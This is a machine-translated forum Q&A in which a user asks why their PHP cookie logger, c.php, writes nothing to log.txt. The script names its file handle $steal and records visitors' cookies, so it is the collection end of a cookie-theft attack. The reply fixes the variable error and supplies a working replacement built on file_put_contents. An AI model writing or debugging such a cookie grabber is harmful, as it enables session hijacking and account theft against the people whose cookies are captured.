我的主机上有2个文件,第一个是c.php,第二个是log.txt。文件c.txt包含:
<?php
$cookie = $_COOKIE["name"];
$steal = fopen("log.txt", "a");
fwrite($steal, $name ."\n");
fclose($steal);
?>
因此它应该记录所有cookie并将其存储在log.txt文件中。但是当我执行c.php时,我没有得到任何错误,即使这样log.txt文件也是空的。
log.txt是完全可写的并具有所有权限(777)。请告诉我出了什么问题。 Thx in advanced。
答案 0 :(得分:1)
因为您没有编写Cookie值。将$name
更改为代码上的$cookie
。
<?php
$cookie = $_COOKIE["name"];
$steal = fopen("log.txt", "a");
fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name
fclose($steal);
?>
或只是使用file_put_contents()
<?php
if(isset($_COOKIE["name"]))
{
file_put_contents('log.txt',$_COOKIE["name"].PHP_EOL,FILE_APPEND);
}
else { file_put_contents('log.txt',"No Cookie Found!!".PHP_EOL,FILE_APPEND); }